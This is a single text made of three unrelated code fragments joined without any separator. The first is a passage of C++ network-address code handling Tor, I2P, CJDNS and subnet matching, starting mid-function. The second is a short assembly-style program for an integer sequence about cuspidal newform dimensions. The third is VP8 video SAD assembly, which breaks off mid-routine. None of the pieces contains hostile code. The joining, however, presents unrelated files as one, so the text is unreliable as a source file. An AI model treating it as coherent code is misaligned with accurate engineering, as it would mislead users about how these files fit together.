sizeof(INTERNAL_IN_IPV6_PREFIX); } else { // IPv6 m_net = NET_IPV6; } m_addr.assign(ipv6.begin() + skip, ipv6.end()); } /** * Create an "internal" address that represents a name or FQDN. CAddrMan uses * these fake addresses to keep track of which DNS seeds were used. * @returns Whether or not the operation was successful. * @see NET_INTERNAL, INTERNAL_IN_IPV6_PREFIX, CNetAddr::IsInternal(), CNetAddr::IsRFC4193() */ bool CNetAddr::SetInternal(const std::string &name) { if (name.empty()) { return false; } m_net = NET_INTERNAL; unsigned char hash[32] = {}; CSHA256().Write((const unsigned char*)name.data(), name.size()).Finalize(hash); m_addr.assign(hash, hash + ADDR_INTERNAL_SIZE); return true; } namespace torv3 { // https://gitweb.torproject.org/torspec.git/tree/rend-spec-v3.txt#n2135 static constexpr size_t CHECKSUM_LEN = 2; static const unsigned char VERSION[] = {3}; static constexpr size_t TOTAL_LEN = ADDR_TORV3_SIZE + CHECKSUM_LEN + sizeof(VERSION); static void Checksum(Span<const uint8_t> addr_pubkey, uint8_t (&checksum)[CHECKSUM_LEN]) { // TORv3 CHECKSUM = H(".onion checksum" | PUBKEY | VERSION)[:2] static const unsigned char prefix[] = ".onion checksum"; static constexpr size_t prefix_len = 15; SHA3_256 hasher; hasher.Write(MakeSpan(prefix).first(prefix_len)); hasher.Write(addr_pubkey); hasher.Write(VERSION); uint8_t checksum_full[SHA3_256::OUTPUT_SIZE]; hasher.Finalize(checksum_full); memcpy(checksum, checksum_full, sizeof(checksum)); } }; // namespace torv3 bool CNetAddr::SetSpecial(const std::string& addr) { if (!ValidAsCString(addr)) { return false; } if (SetTor(addr)) { return true; } if (SetI2P(addr)) { return true; } return false; } bool CNetAddr::SetTor(const std::string& addr) { static const char* suffix{".onion"}; static constexpr size_t suffix_len{6}; if (addr.size() <= suffix_len || addr.substr(addr.size() - suffix_len) != suffix) { return false; } bool invalid; const auto& input = DecodeBase32(addr.substr(0, addr.size() - suffix_len).c_str(), &invalid); if (invalid) { return false; } switch (input.size()) { case ADDR_TORV2_SIZE: m_net = NET_ONION; m_addr.assign(input.begin(), input.end()); return true; case torv3::TOTAL_LEN: { Span<const uint8_t> input_pubkey{input.data(), ADDR_TORV3_SIZE}; Span<const uint8_t> input_checksum{input.data() + ADDR_TORV3_SIZE, torv3::CHECKSUM_LEN}; Span<const uint8_t> input_version{input.data() + ADDR_TORV3_SIZE + torv3::CHECKSUM_LEN, sizeof(torv3::VERSION)}; if (input_version != torv3::VERSION) { return false; } uint8_t calculated_checksum[torv3::CHECKSUM_LEN]; torv3::Checksum(input_pubkey, calculated_checksum); if (input_checksum != calculated_checksum) { return false; } m_net = NET_ONION; m_addr.assign(input_pubkey.begin(), input_pubkey.end()); return true; } } return false; } bool CNetAddr::SetI2P(const std::string& addr) { // I2P addresses that we support consist of 52 base32 characters + ".b32.i2p". static constexpr size_t b32_len{52}; static const char* suffix{".b32.i2p"}; static constexpr size_t suffix_len{8}; if (addr.size() != b32_len + suffix_len || ToLower(addr.substr(b32_len)) != suffix) { return false; } // Remove the ".b32.i2p" suffix and pad to a multiple of 8 chars, so DecodeBase32() // can decode it. const std::string b32_padded = addr.substr(0, b32_len) + "===="; bool invalid; const auto& address_bytes = DecodeBase32(b32_padded.c_str(), &invalid); if (invalid || address_bytes.size() != ADDR_I2P_SIZE) { return false; } m_net = NET_I2P; m_addr.assign(address_bytes.begin(), address_bytes.end()); return true; } CNetAddr::CNetAddr(const struct in_addr& ipv4Addr) { m_net = NET_IPV4; const uint8_t* ptr = reinterpret_cast<const uint8_t*>(&ipv4Addr); m_addr.assign(ptr, ptr + ADDR_IPV4_SIZE); } CNetAddr::CNetAddr(const struct in6_addr& ipv6Addr, const uint32_t scope) { SetLegacyIPv6(Span<const uint8_t>(reinterpret_cast<const uint8_t*>(&ipv6Addr), sizeof(ipv6Addr))); m_scope_id = scope; } bool CNetAddr::IsBindAny() const { if (!IsIPv4() && !IsIPv6()) { return false; } return std::all_of(m_addr.begin(), m_addr.end(), [](uint8_t b) { return b == 0; }); } bool CNetAddr::IsIPv4() const { return m_net == NET_IPV4; } bool CNetAddr::IsIPv6() const { return m_net == NET_IPV6; } bool CNetAddr::IsRFC1918() const { return IsIPv4() && ( m_addr[0] == 10 || (m_addr[0] == 192 && m_addr[1] == 168) || (m_addr[0] == 172 && m_addr[1] >= 16 && m_addr[1] <= 31)); } bool CNetAddr::IsRFC2544() const { return IsIPv4() && m_addr[0] == 198 && (m_addr[1] == 18 || m_addr[1] == 19); } bool CNetAddr::IsRFC3927() const { return IsIPv4() && HasPrefix(m_addr, std::array<uint8_t, 2>{169, 254}); } bool CNetAddr::IsRFC6598() const { return IsIPv4() && m_addr[0] == 100 && m_addr[1] >= 64 && m_addr[1] <= 127; } bool CNetAddr::IsRFC5737() const { return IsIPv4() && (HasPrefix(m_addr, std::array<uint8_t, 3>{192, 0, 2}) || HasPrefix(m_addr, std::array<uint8_t, 3>{198, 51, 100}) || HasPrefix(m_addr, std::array<uint8_t, 3>{203, 0, 113})); } bool CNetAddr::IsRFC3849() const { return IsIPv6() && HasPrefix(m_addr, std::array<uint8_t, 4>{0x20, 0x01, 0x0D, 0xB8}); } bool CNetAddr::IsRFC3964() const { return IsIPv6() && HasPrefix(m_addr, std::array<uint8_t, 2>{0x20, 0x02}); } bool CNetAddr::IsRFC6052() const { return IsIPv6() && HasPrefix(m_addr, std::array<uint8_t, 12>{0x00, 0x64, 0xFF, 0x9B, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}); } bool CNetAddr::IsRFC4380() const { return IsIPv6() && HasPrefix(m_addr, std::array<uint8_t, 4>{0x20, 0x01, 0x00, 0x00}); } bool CNetAddr::IsRFC4862() const { return IsIPv6() && HasPrefix(m_addr, std::array<uint8_t, 8>{0xFE, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}); } bool CNetAddr::IsRFC4193() const { return IsIPv6() && (m_addr[0] & 0xFE) == 0xFC; } bool CNetAddr::IsRFC6145() const { return IsIPv6() && HasPrefix(m_addr, std::array<uint8_t, 12>{0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xFF, 0xFF, 0x00, 0x00}); } bool CNetAddr::IsRFC4843() const { return IsIPv6() && HasPrefix(m_addr, std::array<uint8_t, 3>{0x20, 0x01, 0x00}) && (m_addr[3] & 0xF0) == 0x10; } bool CNetAddr::IsRFC7343() const { return IsIPv6() && HasPrefix(m_addr, std::array<uint8_t, 3>{0x20, 0x01, 0x00}) && (m_addr[3] & 0xF0) == 0x20; } bool CNetAddr::IsHeNet() const { return IsIPv6() && HasPrefix(m_addr, std::array<uint8_t, 4>{0x20, 0x01, 0x04, 0x70}); } /** * Check whether this object represents a TOR address. * @see CNetAddr::SetSpecial(const std::string &) */ bool CNetAddr::IsTor() const { return m_net == NET_ONION; } /** * Check whether this object represents an I2P address. */ bool CNetAddr::IsI2P() const { return m_net == NET_I2P; } /** * Check whether this object represents a CJDNS address. */ bool CNetAddr::IsCJDNS() const { return m_net == NET_CJDNS; } bool CNetAddr::IsLocal() const { // IPv4 loopback (127.0.0.0/8 or 0.0.0.0/8) if (IsIPv4() && (m_addr[0] == 127 || m_addr[0] == 0)) { return true; } // IPv6 loopback (::1/128) static const unsigned char pchLocal[16] = {0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1}; if (IsIPv6() && memcmp(m_addr.data(), pchLocal, sizeof(pchLocal)) == 0) { return true; } return false; } /** * @returns Whether or not this network address is a valid address that @a could * be used to refer to an actual host. * * @note A valid address may or may not be publicly routable on the global * internet. As in, the set of valid addresses is a superset of the set of * publicly routable addresses. * * @see CNetAddr::IsRoutable() */ bool CNetAddr::IsValid() const { // unspecified IPv6 address (::/128) unsigned char ipNone6[16] = {}; if (IsIPv6() && memcmp(m_addr.data(), ipNone6, sizeof(ipNone6)) == 0) { return false; } // CJDNS addresses always start with 0xfc if (IsCJDNS() && (m_addr[0] != 0xFC)) { return false; } // documentation IPv6 address if (IsRFC3849()) return false; if (IsInternal()) return false; if (IsIPv4()) { const uint32_t addr = ReadBE32(m_addr.data()); if (addr == INADDR_ANY || addr == INADDR_NONE) { return false; } } return true; } /** * @returns Whether or not this network address is publicly routable on the * global internet. * * @note A routable address is always valid. As in, the set of routable addresses * is a subset of the set of valid addresses. * * @see CNetAddr::IsValid() */ bool CNetAddr::IsRoutable() const { return IsValid() && !(IsRFC1918() || IsRFC2544() || IsRFC3927() || IsRFC4862() || IsRFC6598() || IsRFC5737() || (IsRFC4193() && !IsTor()) || IsRFC4843() || IsRFC7343() || IsLocal() || IsInternal()); } /** * @returns Whether or not this is a dummy address that represents a name. * * @see CNetAddr::SetInternal(const std::string &) */ bool CNetAddr::IsInternal() const { return m_net == NET_INTERNAL; } bool CNetAddr::IsAddrV1Compatible() const { switch (m_net) { case NET_IPV4: case NET_IPV6: case NET_INTERNAL: return true; case NET_ONION: return m_addr.size() == ADDR_TORV2_SIZE; case NET_I2P: case NET_CJDNS: return false; case NET_UNROUTABLE: // m_net is never and should not be set to NET_UNROUTABLE case NET_MAX: // m_net is never and should not be set to NET_MAX assert(false); } // no default case, so the compiler can warn about missing cases assert(false); } enum Network CNetAddr::GetNetwork() const { if (IsInternal()) return NET_INTERNAL; if (!IsRoutable()) return NET_UNROUTABLE; return m_net; } static std::string IPv4ToString(Span<const uint8_t> a) { return strprintf("%u.%u.%u.%u", a[0], a[1], a[2], a[3]); } // Return an IPv6 address text representation with zero compression as described in RFC 5952 // ("A Recommendation for IPv6 Address Text Representation"). static std::string IPv6ToString(Span<const uint8_t> a, uint32_t scope_id) { assert(a.size() == ADDR_IPV6_SIZE); const std::array groups{ ReadBE16(&a[0]), ReadBE16(&a[2]), ReadBE16(&a[4]), ReadBE16(&a[6]), ReadBE16(&a[8]), ReadBE16(&a[10]), ReadBE16(&a[12]), ReadBE16(&a[14]), }; // The zero compression implementation is inspired by Rust's std::net::Ipv6Addr, see // https://github.com/rust-lang/rust/blob/cc4103089f40a163f6d143f06359cba7043da29b/library/std/src/net/ip.rs#L1635-L1683 struct ZeroSpan { size_t start_index{0}; size_t len{0}; }; // Find longest sequence of consecutive all-zero fields. Use first zero sequence if two or more // zero sequences of equal length are found. ZeroSpan longest, current; for (size_t i{0}; i < groups.size(); ++i) { if (groups[i] != 0) { current = {i + 1, 0}; continue; } current.len += 1; if (current.len > longest.len) { longest = current; } } std::string r; r.reserve(39); for (size_t i{0}; i < groups.size(); ++i) { // Replace the longest sequence of consecutive all-zero fields with two colons ("::"). if (longest.len >= 2 && i >= longest.start_index && i < longest.start_index + longest.len) { if (i == longest.start_index) { r += "::"; } continue; } r += strprintf("%s%x", ((!r.empty() && r.back() != ':') ? ":" : ""), groups[i]); } if (scope_id != 0) { r += strprintf("%%%u", scope_id); } return r; } std::string CNetAddr::ToStringIP() const { switch (m_net) { case NET_IPV4: return IPv4ToString(m_addr); case NET_IPV6: { return IPv6ToString(m_addr, m_scope_id); } case NET_ONION: switch (m_addr.size()) { case ADDR_TORV2_SIZE: return EncodeBase32(m_addr) + ".onion"; case ADDR_TORV3_SIZE: { uint8_t checksum[torv3::CHECKSUM_LEN]; torv3::Checksum(m_addr, checksum); // TORv3 onion_address = base32(PUBKEY | CHECKSUM | VERSION) + ".onion" prevector<torv3::TOTAL_LEN, uint8_t> address{m_addr.begin(), m_addr.end()}; address.insert(address.end(), checksum, checksum + torv3::CHECKSUM_LEN); address.insert(address.end(), torv3::VERSION, torv3::VERSION + sizeof(torv3::VERSION)); return EncodeBase32(address) + ".onion"; } default: assert(false); } case NET_I2P: return EncodeBase32(m_addr, false /* don't pad with = */) + ".b32.i2p"; case NET_CJDNS: return IPv6ToString(m_addr, 0); case NET_INTERNAL: return EncodeBase32(m_addr) + ".internal"; case NET_UNROUTABLE: // m_net is never and should not be set to NET_UNROUTABLE case NET_MAX: // m_net is never and should not be set to NET_MAX assert(false); } // no default case, so the compiler can warn about missing cases assert(false); } std::string CNetAddr::ToString() const { return ToStringIP(); } bool operator==(const CNetAddr& a, const CNetAddr& b) { return a.m_net == b.m_net && a.m_addr == b.m_addr; } bool operator<(const CNetAddr& a, const CNetAddr& b) { return std::tie(a.m_net, a.m_addr) < std::tie(b.m_net, b.m_addr); } /** * Try to get our IPv4 address. * * @param[out] pipv4Addr The in_addr struct to which to copy. * * @returns Whether or not the operation was successful, in particular, whether * or not our address was an IPv4 address. * * @see CNetAddr::IsIPv4() */ bool CNetAddr::GetInAddr(struct in_addr* pipv4Addr) const { if (!IsIPv4()) return false; assert(sizeof(*pipv4Addr) == m_addr.size()); memcpy(pipv4Addr, m_addr.data(), m_addr.size()); return true; } /** * Try to get our IPv6 address. * * @param[out] pipv6Addr The in6_addr struct to which to copy. * * @returns Whether or not the operation was successful, in particular, whether * or not our address was an IPv6 address. * * @see CNetAddr::IsIPv6() */ bool CNetAddr::GetIn6Addr(struct in6_addr* pipv6Addr) const { if (!IsIPv6()) { return false; } assert(sizeof(*pipv6Addr) == m_addr.size()); memcpy(pipv6Addr, m_addr.data(), m_addr.size()); return true; } bool CNetAddr::HasLinkedIPv4() const { return IsRoutable() && (IsIPv4() || IsRFC6145() || IsRFC6052() || IsRFC3964() || IsRFC4380()); } uint32_t CNetAddr::GetLinkedIPv4() const { if (IsIPv4()) { return ReadBE32(m_addr.data()); } else if (IsRFC6052() || IsRFC6145()) { // mapped IPv4, SIIT translated IPv4: the IPv4 address is the last 4 bytes of the address return ReadBE32(MakeSpan(m_addr).last(ADDR_IPV4_SIZE).data()); } else if (IsRFC3964()) { // 6to4 tunneled IPv4: the IPv4 address is in bytes 2-6 return ReadBE32(MakeSpan(m_addr).subspan(2, ADDR_IPV4_SIZE).data()); } else if (IsRFC4380()) { // Teredo tunneled IPv4: the IPv4 address is in the last 4 bytes of the address, but bitflipped return ~ReadBE32(MakeSpan(m_addr).last(ADDR_IPV4_SIZE).data()); } assert(false); } Network CNetAddr::GetNetClass() const { // Make sure that if we return NET_IPV6, then IsIPv6() is true. The callers expect that. // Check for "internal" first because such addresses are also !IsRoutable() // and we don't want to return NET_UNROUTABLE in that case. if (IsInternal()) { return NET_INTERNAL; } if (!IsRoutable()) { return NET_UNROUTABLE; } if (HasLinkedIPv4()) { return NET_IPV4; } return m_net; } uint32_t CNetAddr::GetMappedAS(const std::vector<bool> &asmap) const { uint32_t net_class = GetNetClass(); if (asmap.size() == 0 || (net_class != NET_IPV4 && net_class != NET_IPV6)) { return 0; // Indicates not found, safe because AS0 is reserved per RFC7607. } std::vector<bool> ip_bits(128); if (HasLinkedIPv4()) { // For lookup, treat as if it was just an IPv4 address (IPV4_IN_IPV6_PREFIX + IPv4 bits) for (int8_t byte_i = 0; byte_i < 12; ++byte_i) { for (uint8_t bit_i = 0; bit_i < 8; ++bit_i) { ip_bits[byte_i * 8 + bit_i] = (IPV4_IN_IPV6_PREFIX[byte_i] >> (7 - bit_i)) & 1; } } uint32_t ipv4 = GetLinkedIPv4(); for (int i = 0; i < 32; ++i) { ip_bits[96 + i] = (ipv4 >> (31 - i)) & 1; } } else { // Use all 128 bits of the IPv6 address otherwise assert(IsIPv6()); for (int8_t byte_i = 0; byte_i < 16; ++byte_i) { uint8_t cur_byte = m_addr[byte_i]; for (uint8_t bit_i = 0; bit_i < 8; ++bit_i) { ip_bits[byte_i * 8 + bit_i] = (cur_byte >> (7 - bit_i)) & 1; } } } uint32_t mapped_as = Interpret(asmap, ip_bits); return mapped_as; } /** * Get the canonical identifier of our network group * * The groups are assigned in a way where it should be costly for an attacker to * obtain addresses with many different group identifiers, even if it is cheap * to obtain addresses with the same identifier. * * @note No two connections will be attempted to addresses with the same network * group. */ std::vector<unsigned char> CNetAddr::GetGroup(const std::vector<bool> &asmap) const { std::vector<unsigned char> vchRet; uint32_t net_class = GetNetClass(); // If non-empty asmap is supplied and the address is IPv4/IPv6, // return ASN to be used for bucketing. uint32_t asn = GetMappedAS(asmap); if (asn != 0) { // Either asmap was empty, or address has non-asmappable net class (e.g. TOR). vchRet.push_back(NET_IPV6); // IPv4 and IPv6 with same ASN should be in the same bucket for (int i = 0; i < 4; i++) { vchRet.push_back((asn >> (8 * i)) & 0xFF); } return vchRet; } vchRet.push_back(net_class); int nBits{0}; if (IsLocal()) { // all local addresses belong to the same group } else if (IsInternal()) { // all internal-usage addresses get their own group nBits = ADDR_INTERNAL_SIZE * 8; } else if (!IsRoutable()) { // all other unroutable addresses belong to the same group } else if (HasLinkedIPv4()) { // IPv4 addresses (and mapped IPv4 addresses) use /16 groups uint32_t ipv4 = GetLinkedIPv4(); vchRet.push_back((ipv4 >> 24) & 0xFF); vchRet.push_back((ipv4 >> 16) & 0xFF); return vchRet; } else if (IsTor() || IsI2P() || IsCJDNS()) { nBits = 4; } else if (IsHeNet()) { // for he.net, use /36 groups nBits = 36; } else { // for the rest of the IPv6 network, use /32 groups nBits = 32; } // Push our address onto vchRet. const size_t num_bytes = nBits / 8; vchRet.insert(vchRet.end(), m_addr.begin(), m_addr.begin() + num_bytes); nBits %= 8; // ...for the last byte, push nBits and for the rest of the byte push 1's if (nBits > 0) { assert(num_bytes < m_addr.size()); vchRet.push_back(m_addr[num_bytes] | ((1 << (8 - nBits)) - 1)); } return vchRet; } std::vector<unsigned char> CNetAddr::GetAddrBytes() const { if (IsAddrV1Compatible()) { uint8_t serialized[V1_SERIALIZATION_SIZE]; SerializeV1Array(serialized); return {std::begin(serialized), std::end(serialized)}; } return std::vector<unsigned char>(m_addr.begin(), m_addr.end()); } uint64_t CNetAddr::GetHash() const { uint256 hash = Hash(m_addr); uint64_t nRet; memcpy(&nRet, &hash, sizeof(nRet)); return nRet; } // private extensions to enum Network, only returned by GetExtNetwork, // and only used in GetReachabilityFrom static const int NET_UNKNOWN = NET_MAX + 0; static const int NET_TEREDO = NET_MAX + 1; int static GetExtNetwork(const CNetAddr *addr) { if (addr == nullptr) return NET_UNKNOWN; if (addr->IsRFC4380()) return NET_TEREDO; return addr->GetNetwork(); } /** Calculates a metric for how reachable (*this) is from a given partner */ int CNetAddr::GetReachabilityFrom(const CNetAddr *paddrPartner) const { enum Reachability { REACH_UNREACHABLE, REACH_DEFAULT, REACH_TEREDO, REACH_IPV6_WEAK, REACH_IPV4, REACH_IPV6_STRONG, REACH_PRIVATE }; if (!IsRoutable() || IsInternal()) return REACH_UNREACHABLE; int ourNet = GetExtNetwork(this); int theirNet = GetExtNetwork(paddrPartner); bool fTunnel = IsRFC3964() || IsRFC6052() || IsRFC6145(); switch(theirNet) { case NET_IPV4: switch(ourNet) { default: return REACH_DEFAULT; case NET_IPV4: return REACH_IPV4; } case NET_IPV6: switch(ourNet) { default: return REACH_DEFAULT; case NET_TEREDO: return REACH_TEREDO; case NET_IPV4: return REACH_IPV4; case NET_IPV6: return fTunnel ? REACH_IPV6_WEAK : REACH_IPV6_STRONG; // only prefer giving our IPv6 address if it's not tunnelled } case NET_ONION: switch(ourNet) { default: return REACH_DEFAULT; case NET_IPV4: return REACH_IPV4; // Tor users can connect to IPv4 as well case NET_ONION: return REACH_PRIVATE; } case NET_I2P: switch (ourNet) { case NET_I2P: return REACH_PRIVATE; default: return REACH_DEFAULT; } case NET_TEREDO: switch(ourNet) { default: return REACH_DEFAULT; case NET_TEREDO: return REACH_TEREDO; case NET_IPV6: return REACH_IPV6_WEAK; case NET_IPV4: return REACH_IPV4; } case NET_UNKNOWN: case NET_UNROUTABLE: default: switch(ourNet) { default: return REACH_DEFAULT; case NET_TEREDO: return REACH_TEREDO; case NET_IPV6: return REACH_IPV6_WEAK; case NET_IPV4: return REACH_IPV4; case NET_ONION: return REACH_PRIVATE; // either from Tor, or don't care about our address } } } CService::CService() : port(0) { } CService::CService(const CNetAddr& cip, uint16_t portIn) : CNetAddr(cip), port(portIn) { } CService::CService(const struct in_addr& ipv4Addr, uint16_t portIn) : CNetAddr(ipv4Addr), port(portIn) { } CService::CService(const struct in6_addr& ipv6Addr, uint16_t portIn) : CNetAddr(ipv6Addr), port(portIn) { } CService::CService(const struct sockaddr_in& addr) : CNetAddr(addr.sin_addr), port(ntohs(addr.sin_port)) { assert(addr.sin_family == AF_INET); } CService::CService(const struct sockaddr_in6 &addr) : CNetAddr(addr.sin6_addr, addr.sin6_scope_id), port(ntohs(addr.sin6_port)) { assert(addr.sin6_family == AF_INET6); } bool CService::SetSockAddr(const struct sockaddr *paddr) { switch (paddr->sa_family) { case AF_INET: *this = CService(*(const struct sockaddr_in*)paddr); return true; case AF_INET6: *this = CService(*(const struct sockaddr_in6*)paddr); return true; default: return false; } } uint16_t CService::GetPort() const { return port; } bool operator==(const CService& a, const CService& b) { return static_cast<CNetAddr>(a) == static_cast<CNetAddr>(b) && a.port == b.port; } bool operator<(const CService& a, const CService& b) { return static_cast<CNetAddr>(a) < static_cast<CNetAddr>(b) || (static_cast<CNetAddr>(a) == static_cast<CNetAddr>(b) && a.port < b.port); } /** * Obtain the IPv4/6 socket address this represents. * * @param[out] paddr The obtained socket address. * @param[in,out] addrlen The size, in bytes, of the address structure pointed * to by paddr. The value that's pointed to by this * parameter might change after calling this function if * the size of the corresponding address structure * changed. * * @returns Whether or not the operation was successful. */ bool CService::GetSockAddr(struct sockaddr* paddr, socklen_t *addrlen) const { if (IsIPv4()) { if (*addrlen < (socklen_t)sizeof(struct sockaddr_in)) return false; *addrlen = sizeof(struct sockaddr_in); struct sockaddr_in *paddrin = (struct sockaddr_in*)paddr; memset(paddrin, 0, *addrlen); if (!GetInAddr(&paddrin->sin_addr)) return false; paddrin->sin_family = AF_INET; paddrin->sin_port = htons(port); return true; } if (IsIPv6()) { if (*addrlen < (socklen_t)sizeof(struct sockaddr_in6)) return false; *addrlen = sizeof(struct sockaddr_in6); struct sockaddr_in6 *paddrin6 = (struct sockaddr_in6*)paddr; memset(paddrin6, 0, *addrlen); if (!GetIn6Addr(&paddrin6->sin6_addr)) return false; paddrin6->sin6_scope_id = m_scope_id; paddrin6->sin6_family = AF_INET6; paddrin6->sin6_port = htons(port); return true; } return false; } /** * @returns An identifier unique to this service's address and port number. */ std::vector<unsigned char> CService::GetKey() const { auto key = GetAddrBytes(); key.push_back(port / 0x100); // most significant byte of our port key.push_back(port & 0x0FF); // least significant byte of our port return key; } std::string CService::ToStringPort() const { return strprintf("%u", port); } std::string CService::ToStringIPPort() const { if (IsIPv4() || IsTor() || IsI2P() || IsInternal()) { return ToStringIP() + ":" + ToStringPort(); } else { return "[" + ToStringIP() + "]:" + ToStringPort(); } } std::string CService::ToString() const { return ToStringIPPort(); } CSubNet::CSubNet(): valid(false) { memset(netmask, 0, sizeof(netmask)); } CSubNet::CSubNet(const CNetAddr& addr, uint8_t mask) : CSubNet() { valid = (addr.IsIPv4() && mask <= ADDR_IPV4_SIZE * 8) || (addr.IsIPv6() && mask <= ADDR_IPV6_SIZE * 8); if (!valid) { return; } assert(mask <= sizeof(netmask) * 8); network = addr; uint8_t n = mask; for (size_t i = 0; i < network.m_addr.size(); ++i) { const uint8_t bits = n < 8 ? n : 8; netmask[i] = (uint8_t)((uint8_t)0xFF << (8 - bits)); // Set first bits. network.m_addr[i] &= netmask[i]; // Normalize network according to netmask. n -= bits; } } /** * @returns The number of 1-bits in the prefix of the specified subnet mask. If * the specified subnet mask is not a valid one, -1. */ static inline int NetmaskBits(uint8_t x) { switch(x) { case 0x00: return 0; case 0x80: return 1; case 0xc0: return 2; case 0xe0: return 3; case 0xf0: return 4; case 0xf8: return 5; case 0xfc: return 6; case 0xfe: return 7; case 0xff: return 8; default: return -1; } } CSubNet::CSubNet(const CNetAddr& addr, const CNetAddr& mask) : CSubNet() { valid = (addr.IsIPv4() || addr.IsIPv6()) && addr.m_net == mask.m_net; if (!valid) { return; } // Check if `mask` contains 1-bits after 0-bits (which is an invalid netmask). bool zeros_found = false; for (auto b : mask.m_addr) { const int num_bits = NetmaskBits(b); if (num_bits == -1 || (zeros_found && num_bits != 0)) { valid = false; return; } if (num_bits < 8) { zeros_found = true; } } assert(mask.m_addr.size() <= sizeof(netmask)); memcpy(netmask, mask.m_addr.data(), mask.m_addr.size()); network = addr; // Normalize network according to netmask for (size_t x = 0; x < network.m_addr.size(); ++x) { network.m_addr[x] &= netmask[x]; } } CSubNet::CSubNet(const CNetAddr& addr) : CSubNet() { switch (addr.m_net) { case NET_IPV4: case NET_IPV6: valid = true; assert(addr.m_addr.size() <= sizeof(netmask)); memset(netmask, 0xFF, addr.m_addr.size()); break; case NET_ONION: case NET_I2P: case NET_CJDNS: valid = true; break; case NET_INTERNAL: case NET_UNROUTABLE: case NET_MAX: return; } network = addr; } /** * @returns True if this subnet is valid, the specified address is valid, and * the specified address belongs in this subnet. */ bool CSubNet::Match(const CNetAddr &addr) const { if (!valid || !addr.IsValid() || network.m_net != addr.m_net) return false; switch (network.m_net) { case NET_IPV4: case NET_IPV6: break; case NET_ONION: case NET_I2P: case NET_CJDNS: case NET_INTERNAL: return addr == network; case NET_UNROUTABLE: case NET_MAX: return false; } assert(network.m_addr.size() == addr.m_addr.size()); for (size_t x = 0; x < addr.m_addr.size(); ++x) { if ((addr.m_addr[x] & netmask[x]) != network.m_addr[x]) { return false; } } return true; } std::string CSubNet::ToString() const { std::string suffix; switch (network.m_net) { case NET_IPV4: case NET_IPV6: { assert(network.m_addr.size() <= sizeof(netmask)); uint8_t cidr = 0; for (size_t i = 0; i < network.m_addr.size(); ++i) { if (netmask[i] == 0x00) { break; } cidr += NetmaskBits(netmask[i]); } suffix = strprintf("/%u", cidr); break; } case NET_ONION: case NET_I2P: case NET_CJDNS: case NET_INTERNAL: case NET_UNROUTABLE: case NET_MAX: break; } return network.ToString() + suffix; } bool CSubNet::IsValid() const { return valid; } bool CSubNet::SanityCheck() const { switch (network.m_net) { case NET_IPV4: case NET_IPV6: break; case NET_ONION: case NET_I2P: case NET_CJDNS: return true; case NET_INTERNAL: case NET_UNROUTABLE: case NET_MAX: return false; } for (size_t x = 0; x < network.m_addr.size(); ++x) { if (network.m_addr[x] & ~netmask[x]) return false; } return true; } bool operator==(const CSubNet& a, const CSubNet& b) { return a.valid == b.valid && a.network == b.network && !memcmp(a.netmask, b.netmask, 16); } bool operator<(const CSubNet& a, const CSubNet& b) { return (a.network < b.network || (a.network == b.network && memcmp(a.netmask, b.netmask, 16) < 0)); } bool SanityCheckASMap(const std::vector<bool>& asmap) { return SanityCheckASMap(asmap, 128); // For IP address lookups, the input is 128 bits }
; A063211: Dimension of the space of weight 2n cuspidal newforms for Gamma_0( 43 ). ; 3,10,18,24,32,38,46,52,60,66,74,80,88,94,102,108,116,122,130,136,144,150,158,164,172,178,186,192,200,206,214,220,228,234,242,248,256,262,270,276,284,290,298,304,312,318,326,332,340,346 mov $3,$0 trn $0,1 mod $0,2 add $0,3 mov $2,$3 mul $2,7 add $0,$2
; ; Copyright (c) 2010 The WebM project authors. All Rights Reserved. ; ; Use of this source code is governed by a BSD-style license ; that can be found in the LICENSE file in the root of the source ; tree. An additional intellectual property rights grant can be found ; in the file PATENTS. All contributing project authors may ; be found in the AUTHORS file in the root of the source tree. ; %include "vpx_ports/x86_abi_support.asm" ;unsigned int vp8_sad16x16_wmt( ; unsigned char *src_ptr, ; int src_stride, ; unsigned char *ref_ptr, ; int ref_stride) global sym(vp8_sad16x16_wmt) sym(vp8_sad16x16_wmt): push rbp mov rbp, rsp SHADOW_ARGS_TO_STACK 4 SAVE_XMM 6 push rsi push rdi ; end prolog mov rsi, arg(0) ;src_ptr mov rdi, arg(2) ;ref_ptr movsxd rax, dword ptr arg(1) ;src_stride movsxd rdx, dword ptr arg(3) ;ref_stride lea rcx, [rsi+rax*8] lea rcx, [rcx+rax*8] pxor xmm6, xmm6 .x16x16sad_wmt_loop: movq xmm0, QWORD PTR [rsi] movq xmm2, QWORD PTR [rsi+8] movq xmm1, QWORD PTR [rdi] movq xmm3, QWORD PTR [rdi+8] movq xmm4, QWORD PTR [rsi+rax] movq xmm5, QWORD PTR [rdi+rdx] punpcklbw xmm0, xmm2 punpcklbw xmm1, xmm3 psadbw xmm0, xmm1 movq xmm2, QWORD PTR [rsi+rax+8] movq xmm3, QWORD PTR [rdi+rdx+8] lea rsi, [rsi+rax*2] lea rdi, [rdi+rdx*2] punpcklbw xmm4, xmm2 punpcklbw xmm5, xmm3 psadbw xmm4, xmm5 paddw xmm6, xmm0 paddw xmm6, xmm4 cmp rsi, rcx jne .x16x16sad_wmt_loop movq xmm0, xmm6 psrldq xmm6, 8 paddw xmm0, xmm6 movq rax, xmm0 ; begin epilog pop rdi pop rsi RESTORE_XMM UNSHADOW_ARGS pop rbp ret ;unsigned int vp8_sad8x16_wmt( ; unsigned char *src_ptr, ; int src_stride, ; unsigned char *ref_ptr, ; int ref_stride, ; int max_sad) global sym(vp8_sad8x16_wmt) sym(vp8_sad8x16_wmt): push rbp mov rbp, rsp SHADOW_ARGS_TO_STACK 5 push rbx push rsi push rdi ; end prolog mov rsi, arg(0) ;src_ptr mov rdi, arg(2) ;ref_ptr movsxd rbx, dword ptr arg(1) ;src_stride movsxd rdx, dword ptr arg(3) ;ref_stride lea rcx, [rsi+rbx*8] lea rcx, [rcx+rbx*8] pxor mm7, mm7 .x8x16sad_wmt_loop: movq rax, mm7 cmp eax, arg(4) jg .x8x16sad_wmt_early_exit movq mm0, QWORD PTR [rsi] movq mm1, QWORD PTR [rdi] movq mm2, QWORD PTR [rsi+rbx] movq mm3, QWORD PTR [rdi+rdx] psadbw mm0, mm1 psadbw mm2, mm3 lea rsi, [rsi+rbx*2] lea rdi, [rdi+rdx*2] paddw mm7, mm0 paddw mm7, mm2 cmp rsi, rcx jne .x8x16sad_wmt_loop movq rax, mm7 .x8x16sad_wmt_early_exit: ; begin 